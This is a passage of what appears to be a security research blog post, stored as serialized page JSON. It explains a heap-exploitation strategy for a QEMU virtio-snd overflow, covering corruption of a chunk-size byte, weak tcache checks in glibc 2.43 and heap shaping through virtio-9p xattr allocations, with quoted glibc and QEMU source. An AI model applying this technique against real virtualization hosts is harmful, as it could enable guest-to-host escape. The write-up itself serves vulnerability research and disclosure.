*/\n",{"type":26,"tag":475,"props":126348,"children":126349},{"class":477,"line":744},[126350,126354,126358,126363,126368,126373,126378,126382,126386,126390,126394,126398,126403,126407],{"type":26,"tag":475,"props":126351,"children":126352},{"style":586},[126353],{"type":32,"value":31094},{"type":26,"tag":475,"props":126355,"children":126356},{"style":499},[126357],{"type":32,"value":2775},{"type":26,"tag":475,"props":126359,"children":126360},{"style":493},[126361],{"type":32,"value":126362},"__builtin_expect",{"type":26,"tag":475,"props":126364,"children":126365},{"style":499},[126366],{"type":32,"value":126367}," ((",{"type":26,"tag":475,"props":126369,"children":126370},{"style":482},[126371],{"type":32,"value":126372},"uintptr_t",{"type":26,"tag":475,"props":126374,"children":126375},{"style":499},[126376],{"type":32,"value":126377},") p ",{"type":26,"tag":475,"props":126379,"children":126380},{"style":714},[126381],{"type":32,"value":10170},{"type":26,"tag":475,"props":126383,"children":126384},{"style":499},[126385],{"type":32,"value":2775},{"type":26,"tag":475,"props":126387,"children":126388},{"style":482},[126389],{"type":32,"value":126372},{"type":26,"tag":475,"props":126391,"children":126392},{"style":499},[126393],{"type":32,"value":2794},{"type":26,"tag":475,"props":126395,"children":126396},{"style":714},[126397],{"type":32,"value":4039},{"type":26,"tag":475,"props":126399,"children":126400},{"style":499},[126401],{"type":32,"value":126402},"size, ",{"type":26,"tag":475,"props":126404,"children":126405},{"style":903},[126406],{"type":32,"value":3732},{"type":26,"tag":475,"props":126408,"children":126409},{"style":499},[126410],{"type":32,"value":647},{"type":26,"tag":475,"props":126412,"children":126413},{"class":477,"line":753},[126414,126419,126424,126428,126433,126438,126442],{"type":26,"tag":475,"props":126415,"children":126416},{"style":714},[126417],{"type":32,"value":126418}," ||",{"type":26,"tag":475,"props":126420,"children":126421},{"style":493},[126422],{"type":32,"value":126423}," __builtin_expect",{"type":26,"tag":475,"props":126425,"children":126426},{"style":499},[126427],{"type":32,"value":2775},{"type":26,"tag":475,"props":126429,"children":126430},{"style":493},[126431],{"type":32,"value":126432},"misaligned_chunk",{"type":26,"tag":475,"props":126434,"children":126435},{"style":499},[126436],{"type":32,"value":126437}," (p), ",{"type":26,"tag":475,"props":126439,"children":126440},{"style":903},[126441],{"type":32,"value":3732},{"type":26,"tag":475,"props":126443,"children":126444},{"style":499},[126445],{"type":32,"value":1510},{"type":26,"tag":475,"props":126447,"children":126448},{"class":477,"line":761},[126449,126454,126458,126463],{"type":26,"tag":475,"props":126450,"children":126451},{"style":493},[126452],{"type":32,"value":126453}," malloc_printerr",{"type":26,"tag":475,"props":126455,"children":126456},{"style":499},[126457],{"type":32,"value":2775},{"type":26,"tag":475,"props":126459,"children":126460},{"style":629},[126461],{"type":32,"value":126462},"\"free(): invalid pointer\"",{"type":26,"tag":475,"props":126464,"children":126465},{"style":499},[126466],{"type":32,"value":3533},{"type":26,"tag":475,"props":126468,"children":126469},{"class":477,"line":770},[126470],{"type":26,"tag":475,"props":126471,"children":126472},{"style":552},[126473],{"type":32,"value":126474}," /* We know that each chunk is at least MINSIZE bytes in size or a\n",{"type":26,"tag":475,"props":126476,"children":126477},{"class":477,"line":794},[126478],{"type":26,"tag":475,"props":126479,"children":126480},{"style":552},[126481],{"type":32,"value":126482}," multiple of MALLOC_ALIGNMENT. */\n",{"type":26,"tag":475,"props":126484,"children":126485},{"class":477,"line":831},[126486,126490,126494,126499,126504,126508,126513,126517,126521,126526],{"type":26,"tag":475,"props":126487,"children":126488},{"style":586},[126489],{"type":32,"value":31094},{"type":26,"tag":475,"props":126491,"children":126492},{"style":499},[126493],{"type":32,"value":2775},{"type":26,"tag":475,"props":126495,"children":126496},{"style":493},[126497],{"type":32,"value":126498},"__glibc_unlikely",{"type":26,"tag":475,"props":126500,"children":126501},{"style":499},[126502],{"type":32,"value":126503}," (size ",{"type":26,"tag":475,"props":126505,"children":126506},{"style":714},[126507],{"type":32,"value":5519},{"type":26,"tag":475,"props":126509,"children":126510},{"style":499},[126511],{"type":32,"value":126512}," MINSIZE ",{"type":26,"tag":475,"props":126514,"children":126515},{"style":714},[126516],{"type":32,"value":22127},{"type":26,"tag":475,"props":126518,"children":126519},{"style":714},[126520],{"type":32,"value":12572},{"type":26,"tag":475,"props":126522,"children":126523},{"style":493},[126524],{"type":32,"value":126525},"aligned_OK",{"type":26,"tag":475,"props":126527,"children":126528},{"style":499},[126529],{"type":32,"value":126530}," (size)))\n",{"type":26,"tag":475,"props":126532,"children":126533},{"class":477,"line":845},[126534,126538,126542,126547],{"type":26,"tag":475,"props":126535,"children":126536},{"style":493},[126537],{"type":32,"value":126453},{"type":26,"tag":475,"props":126539,"children":126540},{"style":499},[126541],{"type":32,"value":2775},{"type":26,"tag":475,"props":126543,"children":126544},{"style":629},[126545],{"type":32,"value":126546},"\"free(): invalid size\"",{"type":26,"tag":475,"props":126548,"children":126549},{"style":499},[126550],{"type":32,"value":3533},{"type":26,"tag":475,"props":126552,"children":126553},{"class":477,"line":854},[126554],{"type":26,"tag":475,"props":126555,"children":126556},{"emptyLinePlaceholder":18},[126557],{"type":32,"value":545},{"type":26,"tag":475,"props":126559,"children":126560},{"class":477,"line":862},[126561,126566],{"type":26,"tag":475,"props":126562,"children":126563},{"style":493},[126564],{"type":32,"value":126565}," check_inuse_chunk",{"type":26,"tag":475,"props":126567,"children":126568},{"style":499},[126569],{"type":32,"value":126570},"(av, p);\n",{"type":26,"tag":475,"props":126572,"children":126573},{"class":477,"line":885},[126574],{"type":26,"tag":475,"props":126575,"children":126576},{"emptyLinePlaceholder":18},[126577],{"type":32,"value":545},{"type":26,"tag":475,"props":126579,"children":126580},{"class":477,"line":913},[126581],{"type":26,"tag":475,"props":126582,"children":126583},{"style":499},[126584],{"type":32,"value":126585}," [...]\n",{"type":26,"tag":35,"props":126587,"children":126588},{},[126589],{"type":32,"value":126590},"The first check verifies that the chunk pointer itself is not misaligned. Since we do not control the pointer, this is not particularly relevant here.",{"type":26,"tag":35,"props":126592,"children":126593},{},[126594,126596,126601,126603,126608,126610,126615,126617,126622],{"type":32,"value":126595},"The next check, however, ensures that the ",{"type":26,"tag":53,"props":126597,"children":126599},{"className":126598},[],[126600],{"type":32,"value":123692},{"type":32,"value":126602}," field is 16-byte aligned. This means that the low byte we overwrite in ",{"type":26,"tag":53,"props":126604,"children":126606},{"className":126605},[],[126607],{"type":32,"value":123692},{"type":32,"value":126609}," must preserve alignment while also avoiding the ",{"type":26,"tag":53,"props":126611,"children":126613},{"className":126612},[],[126614],{"type":32,"value":125861},{"type":32,"value":126616}," bit. Under those constraints, exploiting the bug through ",{"type":26,"tag":53,"props":126618,"children":126620},{"className":126619},[],[126621],{"type":32,"value":123692},{"type":32,"value":126623}," corruption looked very unreliable at first.",{"type":26,"tag":35,"props":126625,"children":126626},{},[126627],{"type":32,"value":126628},"Still, we wanted to check how this behaved in the latest glibc 2.43:",{"type":26,"tag":465,"props":126630,"children":126632},{"code":126631,"language":2854,"meta":7,"className":16220,"style":7},"void\n__libc_free (void *mem)\n{\n mchunkptr p;\n\n p = mem2chunk (mem);\n\n INTERNAL_SIZE_T size = chunksize (p);\n\n if (__glibc_unlikely (misaligned_chunk (p)))\n return malloc_printerr_tail (\"free(): invalid pointer\");\n\n#if USE_TCACHE\n if (__glibc_likely (size \u003C mp_.tcache_max_bytes))\n {\n [...]\n\n return tcache_put (p, tc_idx);\n }\n",[126633],{"type":26,"tag":53,"props":126634,"children":126635},{"__ignoreMap":7},[126636,126644,126671,126678,126685,126692,126711,126718,126738,126745,126773,126797,126804,126817,126859,126866,126874,126881,126898],{"type":26,"tag":475,"props":126637,"children":126638},{"class":477,"line":478},[126639],{"type":26,"tag":475,"props":126640,"children":126641},{"style":482},[126642],{"type":32,"value":126643},"void\n",{"type":26,"tag":475,"props":126645,"children":126646},{"class":477,"line":516},[126647,126651,126655,126659,126663,126667],{"type":26,"tag":475,"props":126648,"children":126649},{"style":493},[126650],{"type":32,"value":125909},{"type":26,"tag":475,"props":126652,"children":126653},{"style":499},[126654],{"type":32,"value":2775},{"type":26,"tag":475,"props":126656,"children":126657},{"style":482},[126658],{"type":32,"value":51318},{"type":26,"tag":475,"props":126660,"children":126661},{"style":714},[126662],{"type":32,"value":9525},{"type":26,"tag":475,"props":126664,"children":126665},{"style":2375},[126666],{"type":32,"value":40352},{"type":26,"tag":475,"props":126668,"children":126669},{"style":499},[126670],{"type":32,"value":647},{"type":26,"tag":475,"props":126672,"children":126673},{"class":477,"line":539},[126674],{"type":26,"tag":475,"props":126675,"children":126676},{"style":499},[126677],{"type":32,"value":10589},{"type":26,"tag":475,"props":126679,"children":126680},{"class":477,"line":548},[126681],{"type":26,"tag":475,"props":126682,"children":126683},{"style":499},[126684],{"type":32,"value":125952},{"type":26,"tag":475,"props":126686,"children":126687},{"class":477,"line":558},[126688],{"type":26,"tag":475,"props":126689,"children":126690},{"emptyLinePlaceholder":18},[126691],{"type":32,"value":545},{"type":26,"tag":475,"props":126693,"children":126694},{"class":477,"line":582},[126695,126699,126703,126707],{"type":26,"tag":475,"props":126696,"children":126697},{"style":499},[126698],{"type":32,"value":125967},{"type":26,"tag":475,"props":126700,"children":126701},{"style":714},[126702],{"type":32,"value":786},{"type":26,"tag":475,"props":126704,"children":126705},{"style":493},[126706],{"type":32,"value":125976},{"type":26,"tag":475,"props":126708,"children":126709},{"style":499},[126710],{"type":32,"value":125981},{"type":26,"tag":475,"props":126712,"children":126713},{"class":477,"line":596},[126714],{"type":26,"tag":475,"props":126715,"children":126716},{"emptyLinePlaceholder":18},[126717],{"type":32,"value":545},{"type":26,"tag":475,"props":126719,"children":126720},{"class":477,"line":610},[126721,126726,126730,126734],{"type":26,"tag":475,"props":126722,"children":126723},{"style":499},[126724],{"type":32,"value":126725}," INTERNAL_SIZE_T size ",{"type":26,"tag":475,"props":126727,"children":126728},{"style":714},[126729],{"type":32,"value":786},{"type":26,"tag":475,"props":126731,"children":126732},{"style":493},[126733],{"type":32,"value":126303},{"type":26,"tag":475,"props":126735,"children":126736},{"style":499},[126737],{"type":32,"value":126022},{"type":26,"tag":475,"props":126739,"children":126740},{"class":477,"line":650},[126741],{"type":26,"tag":475,"props":126742,"children":126743},{"emptyLinePlaceholder":18},[126744],{"type":32,"value":545},{"type":26,"tag":475,"props":126746,"children":126747},{"class":477,"line":679},[126748,126752,126756,126760,126764,126768],{"type":26,"tag":475,"props":126749,"children":126750},{"style":586},[126751],{"type":32,"value":31094},{"type":26,"tag":475,"props":126753,"children":126754},{"style":499},[126755],{"type":32,"value":2775},{"type":26,"tag":475,"props":126757,"children":126758},{"style":493},[126759],{"type":32,"value":126498},{"type":26,"tag":475,"props":126761,"children":126762},{"style":499},[126763],{"type":32,"value":2775},{"type":26,"tag":475,"props":126765,"children":126766},{"style":493},[126767],{"type":32,"value":126432},{"type":26,"tag":475,"props":126769,"children":126770},{"style":499},[126771],{"type":32,"value":126772}," (p)))\n",{"type":26,"tag":475,"props":126774,"children":126775},{"class":477,"line":735},[126776,126780,126785,126789,126793],{"type":26,"tag":475,"props":126777,"children":126778},{"style":586},[126779],{"type":32,"value":16695},{"type":26,"tag":475,"props":126781,"children":126782},{"style":493},[126783],{"type":32,"value":126784}," malloc_printerr_tail",{"type":26,"tag":475,"props":126786,"children":126787},{"style":499},[126788],{"type":32,"value":2775},{"type":26,"tag":475,"props":126790,"children":126791},{"style":629},[126792],{"type":32,"value":126462},{"type":26,"tag":475,"props":126794,"children":126795},{"style":499},[126796],{"type":32,"value":3533},{"type":26,"tag":475,"props":126798,"children":126799},{"class":477,"line":744},[126800],{"type":26,"tag":475,"props":126801,"children":126802},{"emptyLinePlaceholder":18},[126803],{"type":32,"value":545},{"type":26,"tag":475,"props":126805,"children":126806},{"class":477,"line":753},[126807,126812],{"type":26,"tag":475,"props":126808,"children":126809},{"style":586},[126810],{"type":32,"value":126811},"#if",{"type":26,"tag":475,"props":126813,"children":126814},{"style":493},[126815],{"type":32,"value":126816}," USE_TCACHE\n",{"type":26,"tag":475,"props":126818,"children":126819},{"class":477,"line":761},[126820,126824,126828,126833,126837,126841,126846,126850,126855],{"type":26,"tag":475,"props":126821,"children":126822},{"style":586},[126823],{"type":32,"value":31094},{"type":26,"tag":475,"props":126825,"children":126826},{"style":499},[126827],{"type":32,"value":2775},{"type":26,"tag":475,"props":126829,"children":126830},{"style":493},[126831],{"type":32,"value":126832},"__glibc_likely",{"type":26,"tag":475,"props":126834,"children":126835},{"style":499},[126836],{"type":32,"value":126503},{"type":26,"tag":475,"props":126838,"children":126839},{"style":714},[126840],{"type":32,"value":5519},{"type":26,"tag":475,"props":126842,"children":126843},{"style":2375},[126844],{"type":32,"value":126845}," mp_",{"type":26,"tag":475,"props":126847,"children":126848},{"style":499},[126849],{"type":32,"value":353},{"type":26,"tag":475,"props":126851,"children":126852},{"style":2375},[126853],{"type":32,"value":126854},"tcache_max_bytes",{"type":26,"tag":475,"props":126856,"children":126857},{"style":499},[126858],{"type":32,"value":1510},{"type":26,"tag":475,"props":126860,"children":126861},{"class":477,"line":770},[126862],{"type":26,"tag":475,"props":126863,"children":126864},{"style":499},[126865],{"type":32,"value":28889},{"type":26,"tag":475,"props":126867,"children":126868},{"class":477,"line":794},[126869],{"type":26,"tag":475,"props":126870,"children":126871},{"style":499},[126872],{"type":32,"value":126873}," [...]\n",{"type":26,"tag":475,"props":126875,"children":126876},{"class":477,"line":831},[126877],{"type":26,"tag":475,"props":126878,"children":126879},{"emptyLinePlaceholder":18},[126880],{"type":32,"value":545},{"type":26,"tag":475,"props":126882,"children":126883},{"class":477,"line":845},[126884,126888,126893],{"type":26,"tag":475,"props":126885,"children":126886},{"style":586},[126887],{"type":32,"value":39048},{"type":26,"tag":475,"props":126889,"children":126890},{"style":493},[126891],{"type":32,"value":126892}," tcache_put",{"type":26,"tag":475,"props":126894,"children":126895},{"style":499},[126896],{"type":32,"value":126897}," (p, tc_idx);\n",{"type":26,"tag":475,"props":126899,"children":126900},{"class":477,"line":854},[126901],{"type":26,"tag":475,"props":126902,"children":126903},{"style":499},[126904],{"type":32,"value":851},{"type":26,"tag":35,"props":126906,"children":126907},{},[126908,126910,126915],{"type":32,"value":126909},"It is easy to notice that, when taking the tcache path, there are essentially no integrity checks on the ",{"type":26,"tag":53,"props":126911,"children":126913},{"className":126912},[],[126914],{"type":32,"value":123692},{"type":32,"value":126916}," field beyond the basic size-range decision needed to determine whether the chunk fits into tcache. The only explicit check here is that the pointer itself is aligned, which is not something we care about.",{"type":26,"tag":35,"props":126918,"children":126919},{},[126920,126922,126928,126929,126934],{"type":32,"value":126921},"In fact, even the version prior to 2.43 still performed more validation on the tcache path by calling ",{"type":26,"tag":53,"props":126923,"children":126925},{"className":126924},[],[126926],{"type":32,"value":126927},"check_inuse_chunk",{"type":32,"value":2775},{"type":26,"tag":53,"props":126930,"children":126932},{"className":126931},[],[126933],{"type":32,"value":123820},{"type":32,"value":23646},{"type":26,"tag":465,"props":126936,"children":126938},{"code":126937,"language":2854,"meta":7,"className":16220,"style":7},"void\n__libc_free (void *mem)\n{\n mchunkptr p;\n\n p = mem2chunk (mem);\n\n INTERNAL_SIZE_T size = chunksize (p);\n\n if (__glibc_unlikely (misaligned_chunk (p)))\n return malloc_printerr_tail (\"free(): invalid pointer\");\n\n check_inuse_chunk (arena_for_chunk (p), p); // [1]\n\n#if USE_TCACHE\n if (__glibc_likely (size \u003C mp_.tcache_max_bytes && tcache != NULL))\n [...]\n",[126939],{"type":26,"tag":53,"props":126940,"children":126941},{"__ignoreMap":7},[126942,126949,126976,126983,126990,126997,127016,127023,127042,127049,127076,127099,127106,127132,127139,127150,127207],{"type":26,"tag":475,"props":126943,"children":126944},{"class":477,"line":478},[126945],{"type":26,"tag":475,"props":126946,"children":126947},{"style":482},[126948],{"type":32,"value":126643},{"type":26,"tag":475,"props":126950,"children":126951},{"class":477,"line":516},[126952,126956,126960,126964,126968,126972],{"type":26,"tag":475,"props":126953,"children":126954},{"style":493},[126955],{"type":32,"value":125909},{"type":26,"tag":475,"props":126957,"children":126958},{"style":499},[126959],{"type":32,"value":2775},{"type":26,"tag":475,"props":126961,"children":126962},{"style":482},[126963],{"type":32,"value":51318},{"type":26,"tag":475,"props":126965,"children":126966},{"style":714},[126967],{"type":32,"value":9525},{"type":26,"tag":475,"props":126969,"children":126970},{"style":2375},[126971],{"type":32,"value":40352},{"type":26,"tag":475,"props":126973,"children":126974},{"style":499},[126975],{"type":32,"value":647},{"type":26,"tag":475,"props":126977,"children":126978},{"class":477,"line":539},[126979],{"type":26,"tag":475,"props":126980,"children":126981},{"style":499},[126982],{"type":32,"value":10589},{"type":26,"tag":475,"props":126984,"children":126985},{"class":477,"line":548},[126986],{"type":26,"tag":475,"props":126987,"children":126988},{"style":499},[126989],{"type":32,"value":125952},{"type":26,"tag":475,"props":126991,"children":126992},{"class":477,"line":558},[126993],{"type":26,"tag":475,"props":126994,"children":126995},{"emptyLinePlaceholder":18},[126996],{"type":32,"value":545},{"type":26,"tag":475,"props":126998,"children":126999},{"class":477,"line":582},[127000,127004,127008,127012],{"type":26,"tag":475,"props":127001,"children":127002},{"style":499},[127003],{"type":32,"value":125967},{"type":26,"tag":475,"props":127005,"children":127006},{"style":714},[127007],{"type":32,"value":786},{"type":26,"tag":475,"props":127009,"children":127010},{"style":493},[127011],{"type":32,"value":125976},{"type":26,"tag":475,"props":127013,"children":127014},{"style":499},[127015],{"type":32,"value":125981},{"type":26,"tag":475,"props":127017,"children":127018},{"class":477,"line":596},[127019],{"type":26,"tag":475,"props":127020,"children":127021},{"emptyLinePlaceholder":18},[127022],{"type":32,"value":545},{"type":26,"tag":475,"props":127024,"children":127025},{"class":477,"line":610},[127026,127030,127034,127038],{"type":26,"tag":475,"props":127027,"children":127028},{"style":499},[127029],{"type":32,"value":126725},{"type":26,"tag":475,"props":127031,"children":127032},{"style":714},[127033],{"type":32,"value":786},{"type":26,"tag":475,"props":127035,"children":127036},{"style":493},[127037],{"type":32,"value":126303},{"type":26,"tag":475,"props":127039,"children":127040},{"style":499},[127041],{"type":32,"value":126022},{"type":26,"tag":475,"props":127043,"children":127044},{"class":477,"line":650},[127045],{"type":26,"tag":475,"props":127046,"children":127047},{"emptyLinePlaceholder":18},[127048],{"type":32,"value":545},{"type":26,"tag":475,"props":127050,"children":127051},{"class":477,"line":679},[127052,127056,127060,127064,127068,127072],{"type":26,"tag":475,"props":127053,"children":127054},{"style":586},[127055],{"type":32,"value":31094},{"type":26,"tag":475,"props":127057,"children":127058},{"style":499},[127059],{"type":32,"value":2775},{"type":26,"tag":475,"props":127061,"children":127062},{"style":493},[127063],{"type":32,"value":126498},{"type":26,"tag":475,"props":127065,"children":127066},{"style":499},[127067],{"type":32,"value":2775},{"type":26,"tag":475,"props":127069,"children":127070},{"style":493},[127071],{"type":32,"value":126432},{"type":26,"tag":475,"props":127073,"children":127074},{"style":499},[127075],{"type":32,"value":126772},{"type":26,"tag":475,"props":127077,"children":127078},{"class":477,"line":735},[127079,127083,127087,127091,127095],{"type":26,"tag":475,"props":127080,"children":127081},{"style":586},[127082],{"type":32,"value":16695},{"type":26,"tag":475,"props":127084,"children":127085},{"style":493},[127086],{"type":32,"value":126784},{"type":26,"tag":475,"props":127088,"children":127089},{"style":499},[127090],{"type":32,"value":2775},{"type":26,"tag":475,"props":127092,"children":127093},{"style":629},[127094],{"type":32,"value":126462},{"type":26,"tag":475,"props":127096,"children":127097},{"style":499},[127098],{"type":32,"value":3533},{"type":26,"tag":475,"props":127100,"children":127101},{"class":477,"line":744},[127102],{"type":26,"tag":475,"props":127103,"children":127104},{"emptyLinePlaceholder":18},[127105],{"type":32,"value":545},{"type":26,"tag":475,"props":127107,"children":127108},{"class":477,"line":753},[127109,127113,127117,127122,127127],{"type":26,"tag":475,"props":127110,"children":127111},{"style":493},[127112],{"type":32,"value":126565},{"type":26,"tag":475,"props":127114,"children":127115},{"style":499},[127116],{"type":32,"value":2775},{"type":26,"tag":475,"props":127118,"children":127119},{"style":493},[127120],{"type":32,"value":127121},"arena_for_chunk",{"type":26,"tag":475,"props":127123,"children":127124},{"style":499},[127125],{"type":32,"value":127126}," (p), p);",{"type":26,"tag":475,"props":127128,"children":127129},{"style":552},[127130],{"type":32,"value":127131}," // [1]\n",{"type":26,"tag":475,"props":127133,"children":127134},{"class":477,"line":761},[127135],{"type":26,"tag":475,"props":127136,"children":127137},{"emptyLinePlaceholder":18},[127138],{"type":32,"value":545},{"type":26,"tag":475,"props":127140,"children":127141},{"class":477,"line":770},[127142,127146],{"type":26,"tag":475,"props":127143,"children":127144},{"style":586},[127145],{"type":32,"value":126811},{"type":26,"tag":475,"props":127147,"children":127148},{"style":493},[127149],{"type":32,"value":126816},{"type":26,"tag":475,"props":127151,"children":127152},{"class":477,"line":794},[127153,127157,127161,127165,127169,127173,127177,127181,127185,127189,127194,127198,127203],{"type":26,"tag":475,"props":127154,"children":127155},{"style":586},[127156],{"type":32,"value":31094},{"type":26,"tag":475,"props":127158,"children":127159},{"style":499},[127160],{"type":32,"value":2775},{"type":26,"tag":475,"props":127162,"children":127163},{"style":493},[127164],{"type":32,"value":126832},{"type":26,"tag":475,"props":127166,"children":127167},{"style":499},[127168],{"type":32,"value":126503},{"type":26,"tag":475,"props":127170,"children":127171},{"style":714},[127172],{"type":32,"value":5519},{"type":26,"tag":475,"props":127174,"children":127175},{"style":2375},[127176],{"type":32,"value":126845},{"type":26,"tag":475,"props":127178,"children":127179},{"style":499},[127180],{"type":32,"value":353},{"type":26,"tag":475,"props":127182,"children":127183},{"style":2375},[127184],{"type":32,"value":126854},{"type":26,"tag":475,"props":127186,"children":127187},{"style":714},[127188],{"type":32,"value":13892},{"type":26,"tag":475,"props":127190,"children":127191},{"style":499},[127192],{"type":32,"value":127193}," tcache ",{"type":26,"tag":475,"props":127195,"children":127196},{"style":714},[127197],{"type":32,"value":15394},{"type":26,"tag":475,"props":127199,"children":127200},{"style":482},[127201],{"type":32,"value":127202}," NULL",{"type":26,"tag":475,"props":127204,"children":127205},{"style":499},[127206],{"type":32,"value":1510},{"type":26,"tag":475,"props":127208,"children":127209},{"class":477,"line":831},[127210],{"type":26,"tag":475,"props":127211,"children":127212},{"style":499},[127213],{"type":32,"value":126585},{"type":26,"tag":35,"props":127215,"children":127216},{},[127217,127219,127224],{"type":32,"value":127218},"This means that as long as we can reliably force the corrupted chunk down the tcache path, we no longer need to worry much about integrity checks on ",{"type":26,"tag":53,"props":127220,"children":127222},{"className":127221},[],[127223],{"type":32,"value":123692},{"type":32,"value":127225},", because on the latest 2.43 glibc they are non-existent.",{"type":26,"tag":18502,"props":127227,"children":127228},{},[],{"type":26,"tag":35,"props":127230,"children":127231},{},[127232,127234,127239,127241,127247,127249,127254,127256,127262],{"type":32,"value":127233},"With that in mind, the idea we settled on was to allocate a chunk whose ",{"type":26,"tag":53,"props":127235,"children":127237},{"className":127236},[],[127238],{"type":32,"value":123692},{"type":32,"value":127240}," field was initially ",{"type":26,"tag":53,"props":127242,"children":127244},{"className":127243},[],[127245],{"type":32,"value":127246},"0x200",{"type":32,"value":127248},", then trigger the overflow and corrupt only its low byte. If the byte written is at least ",{"type":26,"tag":53,"props":127250,"children":127252},{"className":127251},[],[127253],{"type":32,"value":125869},{"type":32,"value":127255},", the resulting value would correspond to a larger, tcache-eligible, size in range ",{"type":26,"tag":53,"props":127257,"children":127259},{"className":127258},[],[127260],{"type":32,"value":127261},"[0x210, 0x2f0]",{"type":32,"value":127263},". That would let us free the chunk as an oversized entry into the tcache freelist, which we could later reclaim and overlap chunks for a better primitive.",{"type":26,"tag":35,"props":127265,"children":127266},{},[127267],{"type":32,"value":127268},"This approach gives us much better odds of success. In fact, with the stream configuration we use later, we can make this behavior reliable enough to exploit consistently.",{"type":26,"tag":41,"props":127270,"children":127272},{"id":127271},"heap-spraying",[127273],{"type":32,"value":127274},"Heap Spraying",{"type":26,"tag":35,"props":127276,"children":127277},{},[127278,127280,127285],{"type":32,"value":127279},"With that idea in mind, we now need a way to shape the heap so that a ",{"type":26,"tag":53,"props":127281,"children":127283},{"className":127282},[],[127284],{"type":32,"value":127246},{"type":32,"value":127286},"-sized chunk is placed immediately after the vulnerable virtio-snd buffer. In addition, we need to drain any existing entries from the relevant tcache freelist so that it is not full when we later free the corrupted oversized chunk.",{"type":26,"tag":35,"props":127288,"children":127289},{},[127290,127292,127297],{"type":32,"value":127291},"Unfortunately, while virtio-snd does provide some heap spraying primitives through its buffer allocations, they are fairly limited. For example, we could only allocate up to 64 buffers at a time. On top of that, ",{"type":26,"tag":53,"props":127293,"children":127295},{"className":127294},[],[127296],{"type":32,"value":123887},{"type":32,"value":127298}," is a FIFO queue, so we could not control the order in which those buffers were freed - they would always be released in the same order they were inserted.",{"type":26,"tag":35,"props":127300,"children":127301},{},[127302],{"type":32,"value":127303},"For the purposes of this blog post, we therefore enabled another virtio device to help with heap shaping.",{"type":26,"tag":70,"props":127305,"children":127307},{"id":127306},"virtio-9p",[127308],{"type":32,"value":127306},{"type":26,"tag":35,"props":127310,"children":127311},{},[127312,127317],{"type":26,"tag":53,"props":127313,"children":127315},{"className":127314},[],[127316],{"type":32,"value":127306},{"type":32,"value":127318}," is a paravirtualized filesystem device that lets the guest access a directory exported by the host through the 9P protocol. The part that interested us most was its handling of extended attributes, or xattrs.",{"type":26,"tag":35,"props":127320,"children":127321},{},[127322,127324,127330,127332,127338,127339,127345,127347,127352],{"type":32,"value":127323},"Through a ",{"type":26,"tag":53,"props":127325,"children":127327},{"className":127326},[],[127328],{"type":32,"value":127329},"P9_TXATTRCREATE",{"type":32,"value":127331}," request, we can allocate host-side buffers for both the ",{"type":26,"tag":53,"props":127333,"children":127335},{"className":127334},[],[127336],{"type":32,"value":127337},".name",{"type":32,"value":209},{"type":26,"tag":53,"props":127340,"children":127342},{"className":127341},[],[127343],{"type":32,"value":127344},".value",{"type":32,"value":127346}," fields, with the size of ",{"type":26,"tag":53,"props":127348,"children":127350},{"className":127349},[],[127351],{"type":32,"value":127344},{"type":32,"value":127353}," being directly controlled by the guest.",{"type":26,"tag":465,"props":127355,"children":127357},{"code":127356,"language":2854,"meta":7,"className":16220,"style":7},"static void coroutine_fn v9fs_xattrcreate(void *opaque)\n{\n int flags, rflags = 0;\n int32_t fid;\n uint64_t size;\n ssize_t err = 0;\n V9fsString name;\n size_t offset = 7;\n V9fsFidState *file_fidp;\n V9fsFidState *xattr_fidp;\n V9fsPDU *pdu = opaque;\n\n v9fs_string_init(&name);\n err = pdu_unmarshal(pdu, offset, \"dsqd\", &fid, &name, &size, &flags);\n if (err \u003C 0) {\n goto out_nofid;\n }\n\n [...]\n\n if (size > P9_XATTR_SIZE_MAX) {\n err = -E2BIG;\n goto out_nofid;\n }\n\n [...]\n\n v9fs_string_init(&xattr_fidp->fs.xattr.name);\n v9fs_string_copy(&xattr_fidp->fs.xattr.name, &name);\n xattr_fidp->fs.xattr.value = g_malloc0(size);\n}\n",[127358],{"type":26,"tag":53,"props":127359,"children":127360},{"__ignoreMap":7},[127361,127403,127410,127434,127447,127458,127483,127491,127516,127533,127549,127575,127582,127603,127669,127693,127706,127713,127720,127727,127734,127754,127775,127786,127793,127800,127807,127814,127863,127919,127964],{"type":26,"tag":475,"props":127362,"children":127363},{"class":477,"line":478},[127364,127368,127372,127377,127382,127386,127390,127394,127399],{"type":26,"tag":475,"props":127365,"children":127366},{"style":482},[127367],{"type":32,"value":50736},{"type":26,"tag":475,"props":127369,"children":127370},{"style":482},[127371],{"type":32,"value":50741},{"type":26,"tag":475,"props":127373,"children":127374},{"style":499},[127375],{"type":32,"value":127376}," coroutine_fn ",{"type":26,"tag":475,"props":127378,"children":127379},{"style":493},[127380],{"type":32,"value":127381},"v9fs_xattrcreate",{"type":26,"tag":475,"props":127383,"children":127384},{"style":499},[127385],{"type":32,"value":626},{"type":26,"tag":475,"props":127387,"children":127388},{"style":482},[127389],{"type":32,"value":51318},{"type":26,"tag":475,"props":127391,"children":127392},{"style":714},[127393],{"type":32,"value":9525},{"type":26,"tag":475,"props":127395,"children":127396},{"style":2375},[127397],{"type":32,"value":127398},"opaque",{"type":26,"tag":475,"props":127400,"children":127401},{"style":499},[127402],{"type":32,"value":647},{"type":26,"tag":475,"props":127404,"children":127405},{"class":477,"line":516},[127406],{"type":26,"tag":475,"props":127407,"children":127408},{"style":499},[127409],{"type":32,"value":10589},{"type":26,"tag":475,"props":127411,"children":127412},{"class":477,"line":539},[127413,127417,127422,127426,127430],{"type":26,"tag":475,"props":127414,"children":127415},{"style":482},[127416],{"type":32,"value":18785},{"type":26,"tag":475,"props":127418,"children":127419},{"style":499},[127420],{"type":32,"value":127421}," flags, rflags ",{"type":26,"tag":475,"props":127423,"children":127424},{"style":714},[127425],{"type":32,"value":786},{"type":26,"tag":475,"props":127427,"children":127428},{"style":903},[127429],{"type":32,"value":2752},{"type":26,"tag":475,"props":127431,"children":127432},{"style":499},[127433],{"type":32,"value":2729},{"type":26,"tag":475,"props":127435,"children":127436},{"class":477,"line":548},[127437,127442],{"type":26,"tag":475,"props":127438,"children":127439},{"style":482},[127440],{"type":32,"value":127441}," int32_t",{"type":26,"tag":475,"props":127443,"children":127444},{"style":499},[127445],{"type":32,"value":127446}," fid;\n",{"type":26,"tag":475,"props":127448,"children":127449},{"class":477,"line":558},[127450,127454],{"type":26,"tag":475,"props":127451,"children":127452},{"style":482},[127453],{"type":32,"value":55304},{"type":26,"tag":475,"props":127455,"children":127456},{"style":499},[127457],{"type":32,"value":124034},{"type":26,"tag":475,"props":127459,"children":127460},{"class":477,"line":582},[127461,127466,127471,127475,127479],{"type":26,"tag":475,"props":127462,"children":127463},{"style":482},[127464],{"type":32,"value":127465}," 